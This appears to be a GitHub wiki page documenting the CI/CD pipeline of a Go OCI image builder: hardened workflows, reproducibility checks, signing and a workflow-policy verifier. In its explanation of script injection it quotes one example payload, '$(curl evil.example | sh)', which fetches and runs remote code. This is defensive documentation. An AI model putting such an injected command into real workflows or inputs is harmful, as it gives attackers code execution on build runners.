-
Notifications
You must be signed in to change notification settings - Fork 0
Testing and CI CD
Twelve GitHub Actions workflows under .github/workflows/, all sharing the
same baseline hardening: fixed runs-on: ubuntu-24.04 (never -latest),
an explicit timeout-minutes on every job, permissions: {contents: read}
unless a step genuinely needs more (e.g. packages: write to publish),
every uses: action SHA-pinned (with a narrow, explicit allowlist of
tag-referenced bootstrap actions), and set -euo pipefail at the top of
every shell step. These rules aren't just convention - they're
mechanically enforced by scripts/ci/verify-workflows.py against every
workflow file on every run (see below).
Twelve workflows for one Go binary is not an accident - trust is meant to be demonstrated here, not requested.
The three evidence-oriented additions are:
-
Benchmark (
ci-benchmark.yml): five measurements at three payload sizes, published as raw text, JSON, Markdown, and environment identity in thebenchmark-resultsartifact. -
OCI compatibility (
ci-compatibility.yml): imports the same generated layout through Skopeo, Docker, and containerd and publishes versioned inspection evidence. -
GHCR/Cosign/admission E2E (
ci-supply-chain-e2e.yml): publishes a commit image, signs its immutable digest with GitHub OIDC, installs Sigstore policy-controller in Kind, proves signed admission and unsigned rejection, and uploads the complete evidence bundle.
See Benchmarks, OCI Compatibility, and GHCR / Cosign / Kubernetes E2E.
go test ./...
go test -race ./...
go test ./... -coverprofile=coverage.out
go tool cover -func=coverage.out
go vet ./...
python3 scripts/ci/verify-workflows.pyTriggers: push, pull request, weekly (Monday 03:13 UTC).
A matrix job over amd64/arm64. Every leg: records the Go toolchain
identity (go version, go env, and asserts GOTOOLCHAIN=local - i.e.
CI never silently downloads a different Go version than the one it just
installed), then cross-compiles cmd/oci-builder for that architecture
and runs scripts/ci/verify-elf.sh against the result. The amd64 leg
additionally runs: gofmt -l (must be empty), go vet ./..., go test ./..., the three explicit named regression-test filters (CLI, OCI, mTLS -
see below), go test -race ./..., a coverage run gated at ≥85%
statements, a self-build-and-self-verify pass (build oci-builder, run
it against itself to produce a layout, verify that layout), and a second
self-build-and-verify pass with a fixed -created timestamp that also
runs the hostile-layout negative-case suite. Coverage files are uploaded
as the regression-suite-evidence artifact.
This workflow used to be three separate files (ci-go-quality.yml,
ci-test.yml, ci-regression-suite.yml) with real duplicated steps
(go test ./... ran three times across them); they were merged into this
one file, keeping every distinct check and removing the exact duplicates.
Triggers: push, pull request.
Runs scripts/ci/build-verified-layout.sh (build the CLI, build a layout,
verify it) against cmd/example-service, then independently hashes every
blob and records a full filesystem listing (mode/size/path) of the
generated layout. Separately runs scripts/ci/negative-oci-layout.py to
prove the verifier rejects seven categories of hostile mutation. Uploads
oci-validation-evidence (validation output, blob checksums, filesystem
listing) - if-no-files-found: error, so a missing artifact fails the job
rather than silently producing an empty evidence bundle.
Triggers: push, pull request, weekly (Monday 03:17 UTC).
Two jobs:
-
static-analysis(every trigger): runsscripts/ci/verify-workflows.py,go vet ./..., pinnedgovulncheck@v1.1.4,go test -race ./..., and a repo-wide grep that fails the build if any.gofile containsos/exec,exec.Command, orInsecureSkipVerify- this project's code should never shell out or disable TLS verification, and this check makes "never" mechanically enforced instead of just a stated intent. -
pr-policy(pull requests only, guarded byif: github.event_name == 'pull_request'): checks out withfetch-depth: 0(needed to diff against the PR base SHA), then runsscripts/ci/verify-workflows.pyagain, rejects any ofcoverage.out,coverage.txt,oci-image,oci-builder, orserviceif they were accidentally committed, rejects anyTODO/FIXME/placeholdermarker outsideREADME.md, and runsgit diff --check(rejects trailing whitespace / conflict markers) against the PR's base commit.
This was two separate files (ci-security.yml + ci-pull-request.yml)
before being merged; both independently call verify-workflows.py
because the two jobs have genuinely different checkout depths and
purposes and gain more from running in parallel than they'd save by
deduplicating one cheap Python invocation.
Triggers: push, pull request, weekly (Monday 04:23 UTC).
Three jobs: rebuild-a and rebuild-b each independently build the
executable and layout from scratch in an isolated temp directory (with
SOURCE_DATE_EPOCH=0), tar the result deterministically, and hash it;
compare (which needs: [rebuild-a, rebuild-b]) downloads both artifacts
and runs cmp on the tarballs and checksums - a real byte-for-byte
comparison across two genuinely separate CI jobs/runners, not just "build
once and trust it." See Architecture and OCI Layout
for what "reproducible" precisely means here.
Triggers: push, pull request.
Generates a small static Go HTTP API inline (/healthz → PONG, / →
HELLO WORLD), builds its layout, verifies the layout, then builds and
runs it through the repository's own Dockerfile under docker run with
the full hardening flag set (--read-only --cap-drop=ALL --security-opt no-new-privileges --tmpfs /tmp:...), polling /healthz until it responds
and asserting the exact expected bodies. Separately (offline, no real
cluster) validates a Kubernetes restricted-runtime Deployment manifest
against the exact contract this project documents:
automountServiceAccountToken: false, seccompProfile.type: RuntimeDefault,
runAsNonRoot/runAsUser: 65532, allowPrivilegeEscalation: false,
readOnlyRootFilesystem: true, capabilities.drop: [ALL], and explicit
resource requests/limits.
Triggers: push, pull request.
The workflow has separate Linux/KVM and macOS/HVF evidence paths. The Linux
path confirms /dev/kvm exists and the host CPU exposes vmx/svm, installs
the kernel build toolchain, restores/builds (and caches, keyed on the kernel
version + config fragment hashes) a from-source Linux kernel, builds
cmd/example-service into a real OCI layout, then boots it under
scripts/microvm/run-microvm.sh with MICROVM_SMOKE_TEST_PATH=/healthz set.
The macOS job always runs and always restores both the Go cache and the
pre-built ARM64 guest from GitHub Actions cache; a missing guest cache fails
the job. It compiles the Darwin CGO implementation, links
Virtualization.framework, signs the test binary with the virtualization
entitlement and attempts TestRunLinuxWithRealHVF and
TestDarwinVMMWithRealHVF.
There are two distinct macOS proof levels:
- Contract evidence (continuous): every hosted run must pass all Darwin validation, ownership, cleanup, linkage and lifecycle contract tests. If Virtualization.framework reports exactly that virtualization is unavailable on the nested runner, the script excludes only the two hardware tests and runs the remaining suite. A green job in this mode is not proof of a guest boot.
-
Hardware evidence: on Apple Silicon that exposes HVF, both real tests
must boot the cached kernel/initramfs and pass without the unavailable-HVF
fallback.
scripts/microvm/test-hvf-local.shis fail-closed by default; only CI explicitly setsSECURE_OCI_ALLOW_UNAVAILABLE_HVF=1. Release claims about an actual HVF boot require the unskipped result from local or self-hosted Apple Silicon, not merely a green hosted job.
See MicroVM Support for the full architecture.
Triggers: push, pull request, weekly (Monday 03:29 UTC).
GitHub's maintained CodeQL bundle, build-mode: manual (CI runs go build ./... itself, rather than letting CodeQL try to autodetect the build),
results uploaded to the repository's Security tab. github/codeql-action/*
is one of the few actions permitted to use a version tag instead of a
pinned SHA (see the allowlist below) - the policy verifier treats it as a
documented exception because GitHub's own hosted runners are expected to
reliably resolve a matching, trusted bundle for it.
Triggers: push to main, pull request, weekly (Saturday 04:41 UTC).
Runs Go's native fuzzing (go test -fuzz=... -fuzztime=60s) against two
specific boundaries: FuzzLabelsFromPairs and
FuzzEntrypointValidation - the two places in internal/oci that parse
untrusted-shaped string input (label pairs, entrypoint paths).
Triggers: a semantic-version tag push (vMAJOR.MINOR.PATCH).
Four sequential jobs, each depending on the last via needs:, each with
its own scoped permissions:
flowchart LR
tag(["git tag vX.Y.Z"]) --> validate["validate<br/>contents: read"]
validate --> publish["publish<br/>packages: write"]
publish --> sign["sign<br/>id-token: write"]
sign --> release["release<br/>contents: write"]
release --> gh(["GitHub Release"])
-
validate(contents: read) - builds and independently verifies a release layout, hashes everything, tars it intoverified-layout.tar. -
publish(environment: release,packages: write) - downloads that exact validated tarball (not a fresh rebuild), unpacks and re-verifies it, then uses an attestation-capable BuildKit builder todocker buildx build --provenance=mode=max --sbom=true --pushtoghcr.io/<owner>/<repo>:<tag>. It records the published digest, then independently fetchesdocker buildx imagetools inspect --rawon that digest and runsscripts/ci/verify-attestation-index.pyagainst it - proving the published index actually carries a BuildKit attestation-manifest entry, not just that the push command succeeded. It then pulls the image back down by digest and saves it as a Docker-loadable tarball. -
sign(environment: release,packages: write,id-token: write) - installs Cosign and signs the immutable published digest, then immediately verifies that signature against the expected OIDC issuer (https://token.actions.githubusercontent.com) and a certificate identity regex scoped to this exact workflow file - not just "a signature exists," but "a signature from this workflow exists." -
release(environment: release,contents: write) - packages asecure-oci-base-reports.zipevidence bundle and creates an immutable GitHub release (gh release create --verify-tag) with the image tarball and evidence attached.
Every job in this workflow uses environment: release - a GitHub
Environment, which is where protection rules (required reviewers, wait
timers, branch restrictions) would be configured on the repository side.
The workflow file enforces the pipeline shape; the environment is where
you'd enforce who can trigger a real publish.
scripts/ci/verify-workflows.py is itself part of CI (run by
ci-security.yml's static-analysis job, and by pr-policy) and treats
every file under .github/workflows/*.y*ml as data to validate, not
trust. It parses each file with Ruby's YAML library (invoked as a
subprocess) rather than a Python YAML library, specifically to avoid
depending on PyYAML being present, and rejects:
- any job without
runs-on: ubuntu-24.04 - any job without an integer
timeout-minutes - any
uses:action that isn't SHA-pinned (owner/repo@<40-hex-sha>) and isn't in a small explicit allowlist of tag-referenced "bootstrap" actions:actions/setup-go@v5,docker/setup-buildx-action@v3,github/codeql-action/{init,analyze,autobuild}@v4, andsigstore/cosign-installer@v3 - any
uses:value starting with./ordocker:// -
pull_request_targetorworkflow_runtriggers (privileged trigger types that run with write-level secrets against untrusted PR code) - any shell
run:step whose script doesn't contain the literal stringset -euo pipefail - interpolating
github.event.pull_request.title,.body, or.head.refdirectly into a shell command (classic script-injection vector - a PR title like$(curl evil.example | sh)becomes literal shell if interpolated unescaped) - any step whose
run:script actually invokes the Go toolchain (go build/test/vet/run/install/env, as the command being run - not matched inside a quoted string, e.g. a documentation/report value) withoutGOTOOLCHAIN=localset in that step's or its job'senv:- see Next-Generation-Architecture#the-three-way-boundary for why this matters: it's what stops CI from silently reaching for a network Go toolchain whengo.modoutpaces the pinnedactions/setup-goversion
If you add or modify a workflow, run this locally before pushing:
python3 scripts/ci/verify-workflows.pyIt requires ruby on PATH (used only as a YAML parser, not for
anything else).
Pull the published image with any OCI-capable client, or configure your runtime to reference it by digest:
ghcr.io/<owner>/<repository>@sha256:<digest>
Always pull by digest, not by tag - the tag is a mutable pointer the release workflow sets once; the digest is what was actually signed and verified.
- Open the GitHub release created for the semantic-version tag; download
secure-oci-base-image.tarandsecure-oci-base-reports.zip. - Verify the checksum, then load the image:
sha256sum --check image-tar.sha256 && docker load --input secure-oci-base-image.tar. - Extract the evidence bundle:
unzip secure-oci-base-reports.zip -d release-reports. - Inspect
release-reports/publication-link.txt,signature-verification.json,image.digest, andverified-layout.tarto independently link the validated layout to the signed, published image digest yourself, rather than trusting the release notes alone.
Whichever deployment path you use, apply the runtime hardening flags from Security Model - none of this pipeline's evidence substitutes for them.
© 2026 CYPT71
platform-factory
Core
- Architecture and OCI Layout
- Next-generation Architecture
- Architecture Decision Records
- Security Model
- Threat Model and Residual Risks
- Independent Security Review Process
- CLI Reference
- Project Configuration and Dependency Freezing
- mTLS Configuration
- Meine Graal
CI/CD
Running an image
- Production Adoption Guide
- Dockerfile Consumer
- Local Dev (Podman/macOS)
- MicroVM Support
- MicroVM Administration
- Large-image streaming
Operating